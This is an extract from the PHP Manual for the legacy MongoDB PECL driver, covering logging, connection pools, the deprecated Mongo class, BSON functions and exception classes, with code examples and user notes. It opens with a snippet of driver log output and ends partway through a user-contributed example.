2013-07-09 09:41:42 - REPLSET (FINE): filter_connections: done
2013-07-09 09:41:42 - REPLSET (FINE): limiting by seeded/discovered servers
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): limiting by seeded/discovered servers: done
2013-07-09 09:41:42 - REPLSET (FINE): limiting by credentials
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): limiting by credentials: done
2013-07-09 09:41:42 - REPLSET (FINE): sorting servers by priority and ping time
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): sorting servers: done
2013-07-09 09:41:42 - REPLSET (FINE): selecting near servers
2013-07-09 09:41:42 - REPLSET (FINE): selecting near servers: nearest is 0ms
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
2013-07-09 09:41:42 - REPLSET (FINE): selecting near server: done
2013-07-09 09:41:42 - REPLSET (INFO): pick server: random element 0
2013-07-09 09:41:42 - REPLSET (INFO): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543

Notes

Caution

This function is only available with PHP 5.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.


Sets the level(s) to be logged

  • « MongoLog::setCallback
  • MongoLog::setModule »
  • PHP Manual
  • MongoLog
  • Sets the level(s) to be logged

MongoLog::setLevel

(PECL mongo >= 1.2.3)

MongoLog::setLevel — Sets the level(s) to be logged

Description

public static void MongoLog::setLevel ( int $level )

This function can be used to control logging verbosity and the types of activities that should be logged. The MongoLog level constants may be used with bitwise operators to specify multiple levels.

<?php

// first, specify a logging module
MongoLog::setModule(MongoLog::CON);

// log messages for every level
MongoLog::setLevel(MongoLog::ALL);

// log warning and info messages only
MongoLog::setLevel(MongoLog::WARNING|MongoLog::INFO);

// log everything except fine activity
MongoLog::setLevel(MongoLog::ALL & (~MongoLog::FINE));

?>

Note that you must also call MongoLog::setModule() to specify which modules(s) of the driver should log.

Parameters

level

The level(s) you would like to log.

User Contributed Notes

There are no user contributed notes for this page.


Sets the module(s) to be logged

  • « MongoLog::setLevel
  • MongoPool »
  • PHP Manual
  • MongoLog
  • Sets the module(s) to be logged

MongoLog::setModule

(PECL mongo >= 1.2.3)

MongoLog::setModule — Sets the module(s) to be logged

Description

public static void MongoLog::setModule ( int $module )

This function can be used to set which driver modules should be logged. The MongoLog module constants may be used with bitwise operators to specify multiple modules.

<?php

// first, specify a logging level
MongoLog::setLevel(MongoLog::ALL);

// log replica set activity
MongoLog::setModule(MongoLog::RS);

// log replica sets and connection activity
MongoLog::setModule(MongoLog::RS|MongoLog::CON);

// log everything except IO activity
MongoLog::setModule(MongoLog::ALL & (~MongoLog::IO));

?>

Note that you must also call MongoLog::setLevel() to enable logging.

Parameters

module

The module(s) you would like to log.

User Contributed Notes

There are no user contributed notes for this page.


The MongoPool class

(PECL mongo >= 1.2.3)

Introduction

Warning

The current (1.3.0+) releases of the driver no longer implements pooling. This class and its methods are therefore deprecated and should not be used.

Class synopsis

MongoPool {
/* Methods */
public static int getSize ( void )
public array info ( void )
public static bool setSize ( int $size )
}

Changelog

Version | Description
1.3.0 | This functionality has been removed and no longer does anything other than emit deprecation warnings. This class is only kept around for backwards compatability and will be removed in the near future.
1.2.11 | Emits E_DEPRECATED when used.

Table of Contents

  • MongoPool::getSize — Get pool size for connection pools
  • MongoPool::info — Returns information about all connection pools.
  • MongoPool::setSize — Set the size for future connection pools.

User Contributed Notes

There are no user contributed notes for this page.


Get pool size for connection pools

  • « MongoPool
  • MongoPool::info »
  • PHP Manual
  • MongoPool
  • Get pool size for connection pools

MongoPool::getSize

(PECL mongo >= 1.2.3)

MongoPool::getSize — Get pool size for connection pools

Description

public static int MongoPool::getSize ( void )

Parameters

This function has no parameters.

Return Values

Returns the current pool size.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

Examples

Example #1 Changing pool size

This returns the default pool size, sets a new pool size, then prints the new pool size and the pool debugging information. Note that changing the pool size only affects new connection pools, it does not change old ones.

<?php

$connection = new Mongo("host1");

// pool size is -1
echo "pool size is: ".MongoPool::getSize()."\n";

echo "setting pool size to 200\n";

MongoPool::setSize(200);

// pool size is 200
echo "pool size is: ".MongoPool::getSize()."\n";

$conn2 = new Mongo("host2");

// remaining for host1 is -2
// remaining for host2 is 199
var_dump(Mongo::poolDebug());

?>

See Also

  • MongoPool::setSize() - Set the size for future connection pools.
  • MongoPool::info() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


Returns information about all connection pools.

  • « MongoPool::getSize
  • MongoPool::setSize »
  • PHP Manual
  • MongoPool
  • Returns information about all connection pools.

MongoPool::info

(PECL mongo >= 1.2.3)

MongoPool::info — Returns information about all connection pools.

Description

public array MongoPool::info ( void )

Returns an array of information about all connection pools.

Parameters

This function has no parameters.

Return Values

Each connection pool has an identifier, which starts with the host. For each pool, this function shows the following fields:

in use

The number of connections currently being used by Mongo instances.

in pool

The number of connections currently in the pool (not being used).

remaining

The number of connections that could be created by this pool. For example, suppose a pool had 5 connections remaining and 3 connections in the pool. We could create 8 new instances of MongoClient before we exhausted this pool (assuming no instances of MongoClient went out of scope, returning their connections to the pool).

A negative number means that this pool will spawn unlimited connections.

Before a pool is created, you can change the max number of connections by calling Mongo::setPoolSize(). Once a pool is showing up in the output of this function, its size cannot be changed.

total

The total number of connections allowed for this pool. This should be greater than or equal to "in use" + "in pool" (or -1).

timeout

The socket timeout for connections in this pool. This is how long connections in this pool will attempt to connect to a server before giving up.

waiting

If you have capped the pool size, workers requesting connections from the pool may block until other workers return their connections. This field shows how many milliseconds workers have blocked for connections to be released. If this number keeps increasing, you may want to use MongoPool::setSize() to add more connections to your pool.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Set the size for future connection pools.

  • « MongoPool::info
  • Mongo »
  • PHP Manual
  • MongoPool
  • Set the size for future connection pools.

MongoPool::setSize

(PECL mongo >= 1.2.3)

MongoPool::setSize — Set the size for future connection pools.

Description

public static bool MongoPool::setSize ( int $size )

Sets the max number of connections new pools will be able to create.

Parameters

size

The max number of connections future pools will be able to create. Negative numbers mean that the pool will spawn an infinite number of connections.

Return Values

Returns the former value of pool size.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

Examples

Example #1 Mongo::setPoolSize() example

If you set the pool size to n and then create n connections, attempting to create an n+1st connection will throw a MongoConnectionException.

<?php

// only allow one connection to a server
MongoPool::setSize(1);

// creates one connection to localhost:27017
$m1 = new Mongo();

// attempt to create a second connection to localhost:27017
// only one connection is allowed, so this will throw an exception
$m2 = new Mongo();

?>

The above example will output something similar to:

Fatal error: Uncaught exception 'MongoConnectionException' with message 'no more connections in pool' in /path/to/php/script.php:10
Stack trace:
#0 /path/to/php/script.php(10): Mongo->__construct()
#1 {main}
  thrown in /path/to/php/script.php on line 10

See Also

  • MongoPool::getSize() - Get pool size for connection pools
  • MongoPool::info() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


The Mongo class [deprecated]

(PECL mongo >=0.9.0)

Introduction

A connection between PHP and MongoDB.

This class extends MongoClient and provides access to several deprecated methods.

For backwards compatibility, it also defaults the "w" option of its constructor argument to 0, which does not require write operations to be acknowledged by the server. See MongoClient::__construct() for more information.

Warning

This class has been DEPRECATED as of version 1.3.0. Relying on this feature is highly discouraged. Please use MongoClient instead.

Class synopsis

Mongo extends MongoClient {
/* Methods */
protected bool connectUtil ( void )
public static int getPoolSize ( void )
public string getSlave ( void )
public bool getSlaveOkay ( void )
public array poolDebug ( void )
public static bool setPoolSize ( int $size )
public bool setSlaveOkay ([ bool $ok = true ] )
public string switchSlave ( void )
/* Inherited methods */
public bool MongoClient::close ([ boolean|string $connection ] )
public bool MongoClient::connect ( void )
public array MongoClient::dropDB ( mixed $db )
public MongoDB MongoClient::__get ( string $dbname )
public static array MongoClient::getConnections ( void )
public array MongoClient::getHosts ( void )
public array MongoClient::getReadPreference ( void )
public array MongoClient::getWriteConcern ( void )
public bool MongoClient::killCursor ( string $server_hash , int|MongoInt64 $id )
public array MongoClient::listDBs ( void )
public MongoCollection MongoClient::selectCollection ( string $db , string $collection )
public MongoDB MongoClient::selectDB ( string $name )
public bool MongoClient::setReadPreference ( string $read_preference [, array $tags ] )
public bool MongoClient::setWriteConcern ( mixed $w [, int $wtimeout ] )
public string MongoClient::__toString ( void )
}

Table of Contents

  • Mongo::connectUtil — Connects with a database server
  • Mongo::__construct — The __construct purpose
  • Mongo::getPoolSize — Get pool size for connection pools
  • Mongo::getSlave — Returns the address being used by this for slaveOkay reads
  • Mongo::getSlaveOkay — Get slaveOkay setting for this connection
  • Mongo::poolDebug — Returns information about all connection pools.
  • Mongo::setPoolSize — Set the size for future connection pools.
  • Mongo::setSlaveOkay — Change slaveOkay setting for this connection
  • Mongo::switchSlave — Choose a new secondary for slaveOkay reads

User Contributed Notes

markh789 at gmail dot com 08-Jan-2011 02:32
Here is a simple connection function :)

<?php
function MongoConnect($username, $password, $database, $host) {
    $con = new Mongo("mongodb://{$username}:{$password}@{$host}"); // Connect to Mongo Server
    $db = $con->selectDB($database); // Connect to Database
}
?>


Connects with a database server

  • « Mongo
  • Mongo::__construct »
  • PHP Manual
  • Mongo
  • Connects with a database server

Mongo::connectUtil

(PECL mongo >=0.9.0)

Mongo::connectUtil — Connects with a database server

Description

protected bool Mongo::connectUtil ( void )
Warning

This is an internal function that you should never call yourself.

Parameters

This function has no parameters.

Return Values

If the connection was successful.

Errors/Exceptions

Throws MongoConnectionException if it fails to connect to the databases.

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Mongo::connectUtil
  • Mongo::getPoolSize »
  • PHP Manual
  • Mongo
  • The __construct purpose

Mongo::__construct

(PECL mongo >=0.9.0)

Mongo::__construct — The __construct purpose

Description

public Mongo::__construct ([ string $server [, array $options ]] )

This method overwrites the MongoClient constructor and turns off acknowledged writes.

Please see MongoClient::__construct() for description of the parameters.

Return Values

Warning

Instanciating this class will emit E_DEPRECATED warning, and turn off acknowledged writes.

Please use the MongoClient instead.

User Contributed Notes

guosheng1987 at 126 dot com 31-Jul-2012 12:05
This is my coding sample
new Mongo();
new Mongo('mongodb://localhost:27017');
when I tried the two above,My page throw an exception with ' operation now in progress '
then I changed the localhost to ip address
new Mongo('mongodb://127.0.0.1:27017');
It works well!
rob at limeworks dot com dot au 02-Sep-2011 11:14
Note that even if you authenticate with a database specific user during instantiation of the Mongo class, it's still necessary to select the database before you try and use it.

Might sound common sense, but hopefully it will help someone anyway :D
arie grapa 13-Apr-2011 01:49
you can set mongo.auto_reconnect=1 in php.ini to cause it to automatically reconnect. This might be the default in future versions
Arkadiy Kukarkin 06-May-2010 11:17
The behavior of persistent connections is somewhat mysterious, but it appears that they remain for the duration of the process with some internal timeout value, and not until the end of script execution as you might expect based on the wording here and in close().

That is, the connection will remain open even once every object that used it is out of scope and can be accessed again with the persist key. This is consistent with the way e.g. DBI does things, but still somewhat confusing when not made explicit. A related issue is that under certain conditions php seems to open multiple connections even using the same key, but that's more of a bug report.


Get pool size for connection pools

  • « Mongo::__construct
  • Mongo::getSlave »
  • PHP Manual
  • Mongo
  • Get pool size for connection pools

Mongo::getPoolSize

(PECL mongo >=1.2.0)

Mongo::getPoolSize — Get pool size for connection pools

Description

public static int Mongo::getPoolSize ( void )
Warning

This feature has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::getSize() instead.

Parameters

This function has no parameters.

Return Values

Returns the current pool size.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

Examples

Example #1 Changing pool size

This returns the default pool size, sets a new pool size, then prints the new pool size and the pool debugging information. Note that changing the pool size only affects new connection pools, it does not change old ones.

<?php

$connection = new Mongo("host1");

// pool size is -1
echo "pool size is: ".Mongo::getPoolSize()."\n";

echo "setting pool size to 200\n";

Mongo::setPoolSize(200);

// pool size is 200
echo "pool size is: ".Mongo::getPoolSize()."\n";

$conn2 = new Mongo("host2");

// remaining for host1 is -2
// remaining for host2 is 199
var_dump(Mongo::poolDebug());

?>

See Also

  • Mongo::setPoolSize() - Set the size for future connection pools.
  • Mongo::poolDebug() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


Returns the address being used by this for slaveOkay reads

  • « Mongo::getPoolSize
  • Mongo::getSlaveOkay »
  • PHP Manual
  • Mongo
  • Returns the address being used by this for slaveOkay reads

Mongo::getSlave

(PECL mongo >=1.1.0)

Mongo::getSlave — Returns the address being used by this for slaveOkay reads

Description

public string Mongo::getSlave ( void )

This finds the address of the secondary currently being used for reads. It is a read-only method: it does not change anything about the internal state of the object.

When you create a connection to the database, the driver will not immediately decide on a secondary to use. Thus, after you connect, this function will return NULL even if there are secondaries available. When you first do a query with slaveOkay set, at that point the driver will choose a secondary for this connection. At that point, this function will return the chosen secondary.

See the query section of this manual for information on distributing reads to secondaries.

Parameters

This function has no parameters.

Return Values

The address of the secondary this connection is using for reads.

This returns NULL if this is not connected to a replica set or not yet initialized.

Errors/Exceptions

Issues E_DEPRECATED warning

The returned results aren't really useful as the secondary selection process is done on each query and database command execution.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • MongoCursor::info() - Gets the query, fields, limit, and skip for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Get slaveOkay setting for this connection

  • « Mongo::getSlave
  • Mongo::poolDebug »
  • PHP Manual
  • Mongo
  • Get slaveOkay setting for this connection

Mongo::getSlaveOkay

(PECL mongo >=1.1.0)

Mongo::getSlaveOkay — Get slaveOkay setting for this connection

Description

public bool Mongo::getSlaveOkay ( void )

See the query section of this manual for information on distributing reads to secondaries.

Parameters

This function has no parameters.

Return Values

Returns the value of slaveOkay for this instance.

Errors/Exceptions

Issues E_DEPRECATED warning

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences
  • MongoClient::getReadPreference() - Get the read preference for this connection

User Contributed Notes

There are no user contributed notes for this page.


Returns information about all connection pools.

  • « Mongo::getSlaveOkay
  • Mongo::setPoolSize »
  • PHP Manual
  • Mongo
  • Returns information about all connection pools.

Mongo::poolDebug

(PECL mongo >=1.2.0)

Mongo::poolDebug — Returns information about all connection pools.

Description

public array Mongo::poolDebug ( void )
Warning

This feature has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::info() instead.

Returns an array of information about all connection pools.

Parameters

This function has no parameters.

Return Values

Each connection pool has an identifier, which starts with the host. For each pool, this function shows the following fields:

in use

The number of connections currently being used by MongoClient instances.

in pool

The number of connections currently in the pool (not being used).

remaining

The number of connections that could be created by this pool. For example, suppose a pool had 5 connections remaining and 3 connections in the pool. We could create 8 new instances of MongoClient before we exhausted this pool (assuming no instances of MongoClient went out of scope, returning their connections to the pool).

A negative number means that this pool will spawn unlimited connections.

Before a pool is created, you can change the max number of connections by calling Mongo::setPoolSize(). Once a pool is showing up in the output of this function, its size cannot be changed.

timeout

The socket timeout for connections in this pool. This is how long connections in this pool will attempt to connect to a server before giving up.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

User Contributed Notes

There are no user contributed notes for this page.


Set the size for future connection pools.

  • « Mongo::poolDebug
  • Mongo::setSlaveOkay »
  • PHP Manual
  • Mongo
  • Set the size for future connection pools.

Mongo::setPoolSize

(PECL mongo >=1.2.0)

Mongo::setPoolSize — Set the size for future connection pools.

Description

public static bool Mongo::setPoolSize ( int $size )
Warning

This method has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::setSize() instead.

Sets the max number of connections new pools will be able to create.

Parameters

size

The max number of connections future pools will be able to create. Negative numbers mean that the pool will spawn an infinite number of connections.

Return Values

Returns the former value of pool size.

Examples

Example #1 Mongo::setPoolSize() example

If you set the pool size to n and then create n connections, attempting to create an n+1st connection will throw a MongoConnectionException.

<?php

// only allow one connection to a server
Mongo::setPoolSize(1);

// creates one connection to localhost:27017
$m1 = new Mongo();

// attempt to create a second connection to localhost:27017
// only one connection is allowed, so this will throw an exception
$m2 = new Mongo();

?>

The above example will output something similar to:

Fatal error: Uncaught exception 'MongoConnectionException' with message 'no more connections in pool' in /path/to/php/script.php:10
Stack trace:
#0 /path/to/php/script.php(10): Mongo->__construct()
#1 {main}
  thrown in /path/to/php/script.php on line 10

See Also

  • Mongo::getPoolSize() - Get pool size for connection pools
  • Mongo::poolDebug() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.


Change slaveOkay setting for this connection

  • « Mongo::setPoolSize
  • Mongo::switchSlave »
  • PHP Manual
  • Mongo
  • Change slaveOkay setting for this connection

Mongo::setSlaveOkay

(PECL mongo >=1.1.0)

Mongo::setSlaveOkay — Change slaveOkay setting for this connection

Description

public bool Mongo::setSlaveOkay ([ bool $ok = true ] )

See the query section of this manual for information on distributing reads to secondaries.

Parameters

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoClient instance.

Return Values

Returns the former value of slaveOkay for this instance.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences
  • MongoClient::setReadPreference() - Set the read preference for this connection

User Contributed Notes

There are no user contributed notes for this page.


Choose a new secondary for slaveOkay reads

  • « Mongo::setSlaveOkay
  • Mongo Functions »
  • PHP Manual
  • Mongo
  • Choose a new secondary for slaveOkay reads

Mongo::switchSlave

(PECL mongo >=1.1.0)

Mongo::switchSlave — Choose a new secondary for slaveOkay reads

Description

public string Mongo::switchSlave ( void )

This choses a random secondary for a connection to read from. It is called automatically by the driver and should not need to be used. It calls MongoClient::getHosts() (to refresh the status of hosts) and Mongo::getSlave() (to get the return value).

See the query section of this manual for information on distributing reads to secondaries.

Parameters

This function has no parameters.

Return Values

The address of the secondary this connection is using for reads. This may be the same as the previous address as addresses are randomly chosen. It may return only one address if only one secondary (or only the primary) is available.

For example, if we had a three member replica set with a primary, secondary, and arbiter this method would always return the address of the secondary. If the secondary became unavailable, this method would always return the address of the primary. If the primary also became unavailable, this method would throw an exception, as an arbiter cannot handle reads.

Errors/Exceptions

Throws a MongoException (error code 15) if it is called on a non-replica-set connection. It will also throw MongoExceptions if it cannot find anyone (primary or secondary) to read from (error code 16).

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences

User Contributed Notes

There are no user contributed notes for this page.


Mongo Functions

Table of Contents

  • bson_decode — Deserializes a BSON object into a PHP array
  • bson_encode — Serializes a PHP variable into a BSON string

User Contributed Notes

There are no user contributed notes for this page.


Deserializes a BSON object into a PHP array

  • « Mongo Functions
  • bson_encode »
  • PHP Manual
  • Mongo Functions
  • Deserializes a BSON object into a PHP array

bson_decode

(PECL mongo >=1.0.1)

bson_decode — Deserializes a BSON object into a PHP array

Description

array bson_decode ( string $bson )

This function is very beta and entirely useless for 99% of users. It is only useful if you're doing something weird, such as writing your own driver on top of the PHP driver.

Parameters

bson

The BSON to be deserialized.

Return Values

Returns the deserialized BSON object.

User Contributed Notes

There are no user contributed notes for this page.


Serializes a PHP variable into a BSON string

  • « bson_decode
  • Exceptions »
  • PHP Manual
  • Mongo Functions
  • Serializes a PHP variable into a BSON string

bson_encode

(PECL mongo >=1.0.1)

bson_encode — Serializes a PHP variable into a BSON string

Description

string bson_encode ( mixed $anything )

This function is very beta and entirely useless for 99% of users. It is only useful if you're doing something weird, such as writing your own driver on top of the PHP driver.

Parameters

anything

The variable to be serialized.

Return Values

Returns the serialized string.

User Contributed Notes

There are no user contributed notes for this page.


Exceptions

Table of Contents

  • MongoException
  • MongoResultException
  • MongoCursorException
  • MongoCursorTimeoutException
  • MongoConnectionException
  • MongoGridFSException
  • MongoDuplicateKeyException
  • MongoProtocolException
  • MongoExecutionTimeoutException
  • MongoWriteConcernException

VMWare Oddities

If you are running VMWare on Windows and are using CIFS, pausing the VM will cause CIFS to go out of sync and cause weird errors on un-pausing it ("The Mongo object has not been correctly initialized by its constructor"). Permanently mounting the Windows shares will fix this and you'll be able to pause and unpause at will.

To permanently mount the Windows shares, run:

$ sudo update-rc.d -f umountnfs.sh remove
$ sudo update-rc.d umountnfs.sh stop 15 0 6 .

See » the Ubuntu docs for the most up-to-date instructions.

User Contributed Notes

There are no user contributed notes for this page.


The MongoException class

(PECL mongo >= 1.0.0)

Introduction

Default Mongo exception.

This covers a bunch of different error conditions that may eventually be moved to more specific exceptions, but will always extend MongoException.

  • The MongoSomething object has not been correctly initialized by its constructor

    Code: 0

    Probably your Mongo object is not connected to a database server.

  • zero-length keys are not allowed, did you use $ with double quotes?

    Code: 1

    You tried to save "" as a key. You generally should not do this. "" can mess up subobject access and is used by MongoDB internally. However, if you really want, you can set mongo.allow_empty_keys to true in your php.ini file to override this sanity check. If you override this, it is highly recommended that you set error checking to strict to avoid string interpolation errors.

  • '.' not allowed in key: <key>

    Code: 2

    You attempted to write a key with '.' in it, which is prohibited.

  • insert too large: <size>, max: <max>

    Code: 3

    You're attempting to send too much data to the database at once: the database will only accept inserts up to a certain size (currently 16 MB).

  • no elements in doc

    Code: 4

    You're attempting to save a document with no fields.

  • size of BSON doc is <size> bytes, max <max>MB

    Code: 5

    You're attempting to save a document that is larger than MongoDB can save.

  • no documents given

    Code: 6

    You're attempting to batch insert an empty array of documents.

  • MongoCollection::group takes an array, object, or MongoCode key

    Code: 7

    Wrong type parameter send to MongoCollection::group().

  • field names must be strings

    Code: 8

    You should format field selectors as array("field1" => 1, "field2" => 1, ..., "fieldN" => 1).

  • invalid regex

    Code: 9

    The regex passed to MongoRegex is not of the correct form.

  • MongoDBRef::get: $ref field must be a string

    Code: 10

  • MongoDBRef::get: $db field must be a string

    Code: 11

  • non-utf8 string: <str>

    Code: 12

    This error occurs if you attempt to send a non-utf8 string to the database. All strings going into the database should be UTF8. See php.ini options for the transition option of quieting this exception.

  • mutex error: <err>

    Code: 13

    The driver uses mutexes for synchronizing requests and responses in multithreaded environments. This is a fairly serious error and may not have a stack trace. It's unusual and should be reported to maintainers with any system information and steps to reproduce that you can provide.

  • index name too long: <len>, max <max> characters

    Code: 14

    Indexes with names longer than 128 characters cannot be created. If you get this error, you should use MongoCollection::ensureIndex()'s "name" option to create a shorter name for your index.

Class synopsis

MongoException extends Exception {
}

User Contributed Notes

janis dot peisenieks at gmail dot com 05-Aug-2014 07:44
In case of "zero-length keys are not allowed, did you use $ with double quotes?" error, checking the saved data for objects with private/protected variables can solve the problem.

It seems, that the PECL extension currently does not support private/protected variables, thus making their keys empty strings. A simple, yet not allways desirable, solution is to make these variables public.

Example:
<?php
class Example
{
    private $value;
    protected $output;
}
?>php
will throw an exception.

<?php
class Example
{
    public $value;
    public $output;
}
?>php
Will not throw an exception


The MongoResultException class

(PECL mongo >=1.3.0)

Introduction

The MongoResultException is thrown by several command helpers (such as MongoCollection::findAndModify()) in the event of failure. The original result document is available through MongoResultException::getDocument().

Class synopsis

MongoResultException extends MongoException {
/* Properties */
public $document ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public array getDocument ( void )
}

Properties

document

The raw result document as an array.

Table of Contents

  • MongoResultException::getDocument — Retrieve the full result document

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the full result document

  • « MongoResultException
  • MongoCursorException »
  • PHP Manual
  • MongoResultException
  • Retrieve the full result document

MongoResultException::getDocument

(PECL mongo >=1.3.0)

MongoResultException::getDocument — Retrieve the full result document

Description

public array MongoResultException::getDocument ( void )

Retrieves the full error result document.

Parameters

This function has no parameters.

Return Values

The full result document as an array, including partial data if available and additional keys.

Examples

Example #1 MongoResultException::getDocument() example

<?php
$mc = new MongoClient("localhost");
$c = $mc->selectCollection("test", "test");

$c->insert(array(
     "name" => "Next promo",
     "inprogress" => false,
     "priority" => 0,
     "tasks" => array( "select product", "add inventory", "do placement"),
) );

$c->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 1,
     "tasks" => array( "run sales report", "email report" )
) );

$c->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 2,
     "tasks" => array( "run marketing report", "email report" )
    ),
    array("w" => true)
);

try {
    $retval = $c->findAndModify(
         array("inprogress" => false, "name" => "Biz report"),
         array('$set' => array('$set' => array('inprogress' => true, "started" => new MongoDate()))),
         null,
         array(
            "sort" => array("priority" => -1),
            "new" => true,
        )
    );
} catch(MongoResultException $e) {
    echo $e->getMessage(), "\n";
    $res = $e->getDocument();
    var_dump($res);
}
?>

The above examples will output something similar to:

$set is not valid for storage.
array(3) {
  ["lastErrorObject"]=>
  array(5) {
    ["connectionId"]=>
    int(6)
    ["err"]=>
    string(30) "$set is not valid for storage."
    ["code"]=>
    int(52)
    ["n"]=>
    int(0)
    ["ok"]=>
    float(1)
  }
  ["ok"]=>
  float(0)
  ["errmsg"]=>
  string(30) "$set is not valid for storage."
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoCursorException class

(PECL mongo >= 1.0.0)

Introduction

Caused by accessing a cursor incorrectly or a error receiving a reply. Note that this can be thrown by any database request that receives a reply, not just queries. Writes, commands, and any other operation that sends information to the database and waits for a response can throw a MongoCursorException. The only exception is new MongoClient() (creating a new connection), which will only throw MongoConnectionExceptions.

This returns a specific error message to help diagnose the problem and a numeric error code associated with the cause of the exception.

For example, suppose you tried to insert two documents with the same _id:

<?php

try {
    $collection->insert(array("_id" => 1), array("w" => 1));
    $collection->insert(array("_id" => 1), array("w" => 1));
}
catch (MongoCursorException $e) {
    echo "error message: ".$e->getMessage()."\n";
    echo "error code: ".$e->getCode()."\n";
}

?>
This would produce output like:
error message: E11000 duplicate key error index: foo.bar.$_id_  dup key: { : 1 }
error code: 11000
Note that the MongoDB error code (11000) is used for the PHP error code. The PHP driver uses the "native" error code wherever possible.

The following is a list of common errors, codes, and causes. Exact errors are in italics, errors where the message can vary are described in obliques.

  • cannot modify cursor after beginning iteration

    Code: 0

    You are calling a method that sets up the query after executing the query. Reset the cursor and try again.

    An example:

    <?php

    try {
            $cursor = $collection->find();
            var_dump($cursor->getNext());

            // getNext() queried the database, it's too late to set a limit
            $cursor->limit(1);
    }
    catch (    MongoCursorException $e) {
        echo     "error message: ".$e->getMessage()."\n";
        echo     "error code: ".$e->getCode()."\n";
    }

    // this will work, though:
    $cursor->getNext();
    $cursor->reset();
    $cursor->limit(1);

    ?>

  • Get next batch send errors

    Code: 1

    Could not send the query to the database. Make sure the database is still up and the network is okay.

  • cursor not found

    Code: 2

    The driver was trying to fetch more results from the database, but the database did not have a record of the query. This usually means that the cursor timed out on the server side: after a few minutes of inactivity, the database will kill a cursor (see MongoCursor::immortal() for information on preventing this).

    An example:

    <?php

    try {
            $cursor = $collection->find();
            $cursor->getNext();

            // sleep for 15 minutes
            sleep(60*15);

        while (    $cursor->hasNext()) {
                $cursor->getNext();
        }
    }
    catch (    MongoCursorException $e) {
        echo     "error message: ".$e->getMessage()."\n";
        echo     "error code: ".$e->getCode()."\n";
    }

    ?>

  • cursor->buf.pos is null

    Code: 3

    This may indicate you are out of RAM or some other extraordinary circumstance.

  • couldn't get response header

    Code: 4

    A common error if the database or network goes down. This means that the driver couldn't get a response from the connection.

  • no db response

    Code: 5

    This may not even be an error, for example, the database command "shutdown" returns no response. However, if you were expecting a response, this means the database didn't give one.

  • bad response length: %d, did the db assert?

    Code: 6

    This means that the database said that its response was less than 0. This error probably indicates a network error or database corruption.

  • incomplete header

    Code: 7

    Highly unusual. Occurs if the database response started out correctly, but broke off in the middle. Probably indicates a network problem.

  • incomplete response

    Code: 8

    Highly unusual. Occurs if the database response started out correctly, but broke off in the middle. Probably indicates a network problem.

  • couldn't find a response

    Code: 9

    If the response was cached and now cannot be located.

  • error getting socket

    Code: 10

    The socket was closed or encountered an error. The driver should automatically reconnect (if possible) on the next operation.

  • couldn't find reply, please try again

    Code: 11

    The driver saves any database responses it cannot immediately match with a request. This exception occurs if the driver has already passed your request's response and cannot find your response in its cache.

  • error getting database response: errstr

    WSA error getting database response: errstr

    "errstr" is an io error reported directly from the C socket subsystem. On Windows, the error message is prefixed with "WSA".

  • Timeout error

    Code: 13

    If there was an error while waiting for a query to complete.

  • couldn't send query: <various>

    Code: 14

    C socket error on send.

  • max number of retries exhausted, couldn't send query

    Code: 19

    The driver will automatically retry "plain" queries (not commands) a couple of times if the first attempt failed for certain reasons. This is to cause fewer exceptions during replica set failover (although you will probably still have to deal with some) and gloss over transient network issues.

    This can also be caused by the driver not being able to reconnect at all to the database (if, for example, the database is unreachable).

    Version 1.2.2+.

Errors passed through by the database

Database errors should always trigger MongoCursorExceptions on queries. Error messages and codes are sent directly from the database and you should be able to see matching errors in the database log.

A few common database errors are listed below:

  • E11000 duplicate key error index: foo.bar.$X dup key: { /* ... */ }

    Code: 11000

    Database error for duplicate keys.

  • not master

    Codes: 10107, 13435, and 10058

    Not master errors, piped through by the database. ach of these will cause the driver to disconnect and attempt to find a new primary. The actual error you get on failover may not be a "not master" error, depending on when the change in primary occurs.

Class synopsis

MongoCursorException extends MongoException {
}

Table of Contents

  • MongoCursorException::getHost — The hostname of the server that encountered the error

User Contributed Notes

Loc d&#39;Anterroches 18-Apr-2011 02:45
As all the exceptions are extending the base Exception class, you can get the code with the getCode() method:

<?php
try {
    $collection->insert($duplicate_document, array('safe' => true));
